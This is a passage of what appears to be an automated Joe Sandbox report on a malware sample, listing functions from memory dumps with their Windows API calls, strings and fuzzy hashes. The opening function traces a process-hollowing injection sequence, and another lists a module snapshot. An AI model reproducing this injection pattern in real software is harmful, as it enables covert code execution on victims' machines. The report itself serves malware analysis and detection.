CreateProcessA.KERNELBASE(?,00000000), ref: 043F0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 043F0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 043F0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 043F029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 043F02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 043F02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 043F0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 043F032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 043F0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 043F03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 043F03E1
ResumeThread.KERNELBASE(00000000), ref: 043F03ED
ExitProcess.KERNEL32(00000000), ref: 043F0412

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 379e610b8e8f5db2e7bd4f564cf625454de492c627a48b830c0647f9cb7abdc6
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 89B1C774A00208AFDB44CF98C895F9EBBB5FF88314F248158E649AB395D771AE41CF94

Function 043507C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 043507EE
Module32First.KERNEL32(00000000,00000224), ref: 0435080E

Memory Dump Source

Source File: 00000000.00000002.1658170089.0000000004350000.00000040.00000020.00020000.00000000.sdmp, Offset: 04350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4350000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 458149c0b95034a54d3a34c1510021223094cc268637c33db82f302cd99948f9
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 5DF096312007146FD7243FF5A88DF6F76F8AF49725F101528EA42910D0DB71F8454A61

Function 043F0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 043F0533

Strings

mfoaskdfnoa, xrefs: 043F0520, 043F0523
d, xrefs: 043F0584
0, xrefs: 043F0492
saodkfnosa9uin, xrefs: 043F04DA

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 4e435e80208d637adc542bdc33c7e85f287a34513bd8b78e842028c87c78c2e1
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 84512A70D08388DAEB15CBD8C849BDDBFB66F11708F144058D5487F286C3FA6659CB62

Function 043F05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 043F05EC

Strings

o, xrefs: 043F0600
apfHQ, xrefs: 043F05E2, 043F05E5

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 9d0f0985d9768c87b5da2b24978fa3f1b4a4639a417b280408c6e29b991d0bbb
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 60012170C0424CEEDF14DB98C9183AEBFB5AF41308F1480D9C5593B242D7B6AB59CBA1

Function 04350485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 043504D6

Memory Dump Source

Source File: 00000000.00000002.1658170089.0000000004350000.00000040.00000020.00020000.00000000.sdmp, Offset: 04350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4350000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: dc159cb8adf7658f19045017c0254b74039631cda6602b3ac7d1571d2e2359f7
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 07113C79A00208EFDB01DF98C985E99BBF5AF08350F058094F9489B361D371EA90DF90

Non-executed Functions

Function 0440F030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0440F0A7
_wcsstr.LIBCMT ref: 0440F14E
_strstr.LIBCMT ref: 0440F3D6
_malloc.LIBCMT ref: 0440F526
_memset.LIBCMT ref: 0440F534
_strstr.LIBCMT ref: 0440F57A
_malloc.LIBCMT ref: 0440F6F5
_memset.LIBCMT ref: 0440F703
_free.LIBCMT ref: 0440F7B5
_free.LIBCMT ref: 0440F7C2

Strings

", xrefs: 0440F640

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: a4acdbced893e12a6f0fc1abde46562f1e13ff860731352c7e8f4aa53085bc48
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: 3942A471508340ABEB20DF64CC49B9B7BE8BF45308F04493EF58997292DBB5A519CB92

Function 044000D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: 36a3b27262948159e1ebf84eb7b6e7165fc9bb1b15776c8c2db0582b50837485
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: 47529D71D00208DBEF10DFA8D889BDEB7B5BF04308F10857AD419A7291E775AA59CFA1

Function 043FE6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 043FE72D
_wcsstr.LIBCMT ref: 043FE756
_memset.LIBCMT ref: 043FE784

Part of subcall function 0443FC0C: std::exception::exception.LIBCMT ref: 0443FC1F
Part of subcall function 0443FC0C: __CxxThrowException@8.LIBCMT ref: 0443FC34
Part of subcall function 0443FC0C: std::exception::exception.LIBCMT ref: 0443FC4D
Part of subcall function 0443FC0C: __CxxThrowException@8.LIBCMT ref: 0443FC62
Part of subcall function 0443FC0C: std::regex_error::regex_error.LIBCPMT ref: 0443FC74
Part of subcall function 0443FC0C: __CxxThrowException@8.LIBCMT ref: 0443FC82
Part of subcall function 0443FC0C: std::exception::exception.LIBCMT ref: 0443FC9B
Part of subcall function 0443FC0C: __CxxThrowException@8.LIBCMT ref: 0443FCB0

_wcsstr.LIBCMT ref: 043FEA0C
_memset.LIBCMT ref: 043FEE5C

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: 9415c88f1e715380b58e951f854c10d3aba72f40f9227a4d9ac808231486f130
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: A552FF71A002099FDF24CF68CC85BAEBBF5FF04304F14856DE946AB2A1E771A945CB91

Function 04400B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: 6870714df12892844bbd7e82936493033388e1c331cf2f16271e3629db095599
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: 4C428C70D00208DBEF14DFA4D988BDEB7B5BF04308F20856ED415A7291EB72BA55CBA1

Function 043FDBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 17164663d9b6441529a8e92c9da6ee72e26f9d615677839ea8f35f2442d9624b
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 8B525170E00219DFDB10DBA8CC49FAEBBB5BF45704F149198E509AB2A1DB35BD45CBA0

Function 044722C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 0447291E

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 8e8d40c07955b346f0ef8944e23ebe326926072f95b61eaf84a7d2a04c4be777
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: F9326FB0E002299AEF609F65CC45BEFB7B9FF44704F0041EBA60CA2151DB749A85CF59

Function 043F5DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: 6702abfa25eddf7d4288e871005a01e86696df638abd264a542dd7329188836b
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: 3C42BF71629F159BC3DAEF24C88055BF3E1FFC8218F048A1DD99997A50DB38F819CA91

Function 043FA026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: fce80141dcc2f6092791b09739c0a10785c9540762c84940520f193aada7deb6
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: AC22DEB6904B028FC714CF19D48055AF7E1FF88324F658A6EE9ADA7B10D730BA55CB81

Function 043F2B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Function 043F3520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: ad8f917492f622ac8851a8dfd2ede6aae999d39a72a737324511bb95673faace
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: C4026C715187058FC756EE0CD89035AF3E1FFC8305F198A2DDA8987B64E739A9198F82

Function 043F89D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction ID: c020ee6b9b7df6fc52d5feccea1897c197e670f5ef2a78ac0a1888b83ca6de43
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: 51C12833E2477906D764DEAE8C500AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Function 043FB0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: 7182ee7a16eb457c8fe252ac7dc3f40af32ee70abe16fb59f546dcad0124373f
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: 6CA1EC0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Function 043F30F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Function 043FCA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: d722d1f46fd2ed1f6e1389e0779a5c95c00adf38b94c280d23b534ceca660c01
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: A8C18CB5E002599FCB54CFA9C881ADEFBF1FF48200F24956AE919E7301E334AA558B54

Function 043F5DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: 3ae79d81c8d8a2981b33417ff229e098269cfe846a2841a6c7cd32ef7c01e33d
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction Fuzzy Hash: D0B19460039FA686CBD3FF30951028BF7E0BFC524DF44194AD99986864EB3EE94E9215

Function 043F7520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction ID: 758d45407b38d9436f9ca673a46918799cd811ac46b3e1d4a144e56d503361bf
Opcode Fuzzy Hash: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction Fuzzy Hash: 3C912673D187BA06D7609EAF8C441B9B7E3AFC4210F9B0776DD9467242C930AE0697D0

Function 043FC760 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction ID: 6c961779b24587ae27f643749cf5828afa34fb975f42bed84bb97c7cbf70adce
Opcode Fuzzy Hash: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction Fuzzy Hash: 15B16AB5E002599FCB84CFE9C885ADEFBF0FF48210F64916AD915E7301E334AA558B54

Function 043FA916 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction ID: 419f27c4e9ef1ad40137585e774b8aae441e635d1339e537baff7daab0b3c3b5
Opcode Fuzzy Hash: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction Fuzzy Hash: 6471D473A20B254B8314DEB9CD94192F2F1EF88610B57C27CCE84D7B45EB31B95A96C0

Function 043F59F7 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction ID: 9c47010402b7ffd0820002de19b41e6868c0114de2b25e0f74a927be2149530f
Opcode Fuzzy Hash: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction Fuzzy Hash: 938137B2A047019FC728CF19D885A6AF7E1FFD8210F15892DE99E83B41D770F8558B92

Function 043F8E60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction ID: fc8638108f8c0cd6df1d2d5026e600b35994ab045c44822b645108486c03680b
Opcode Fuzzy Hash: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction Fuzzy Hash: 2371F522535B7A0AEBC3DA3D881046BF7D0BE4910AB850956DCD0F3181D72EEE4E77A4

Function 043FA699 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction ID: d497e3dd9fb7b87a82112dde7529ba09092d75c06c485b54d7f9761eb905c260
Opcode Fuzzy Hash: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction Fuzzy Hash: 4A816775A10B669BD714DF2AC8C045AFBF1FB08210B518A2ADDA983B40D334F565DFA0

Function 043F9120 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction ID: 5a4c9a8b27b82a5843a5963b0173f84f9c1ed7ee3e011eade70d56d405fac9b1
Opcode Fuzzy Hash: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction Fuzzy Hash: 5961A3739046BB5BDB649E6DD8401A9B7A2BFC4310F5B8A75DC9823642C234EA11DBD0

Function 043F7A80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction ID: a9b1b431c4a82064ad66a0a7bf9ad64d0d29ad0843d6f8a0cf93f7b97a12d6b5
Opcode Fuzzy Hash: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction Fuzzy Hash: A3617C3791262B9BD761DF59D84527AB3A2EFC4360F6B8A358C0427642C734F9119BC4

Function 043F7880 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction ID: 8a0868981d330860a9a792c3e2efc3c0c5c872504e892c4ca88414f97b405e96
Opcode Fuzzy Hash: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction Fuzzy Hash: BA51DD229257B945EFC3DA3D88504AEBBE0BE49206B460557DCD0B3181C72EDE4DB7E4

Function 043F7220 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Function 0435171C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658170089.0000000004350000.00000040.00000020.00020000.00000000.sdmp, Offset: 04350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4350000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: 95f95b928015d8c869a98219ecb4689a4c76952598d7c268a03765a797785f49
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 88317539C062819FCF16CE34D8D0FA5BB70EF87224F18A59CC8858B022D326A04AC794

Function 043F70E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 043F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_43f0000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
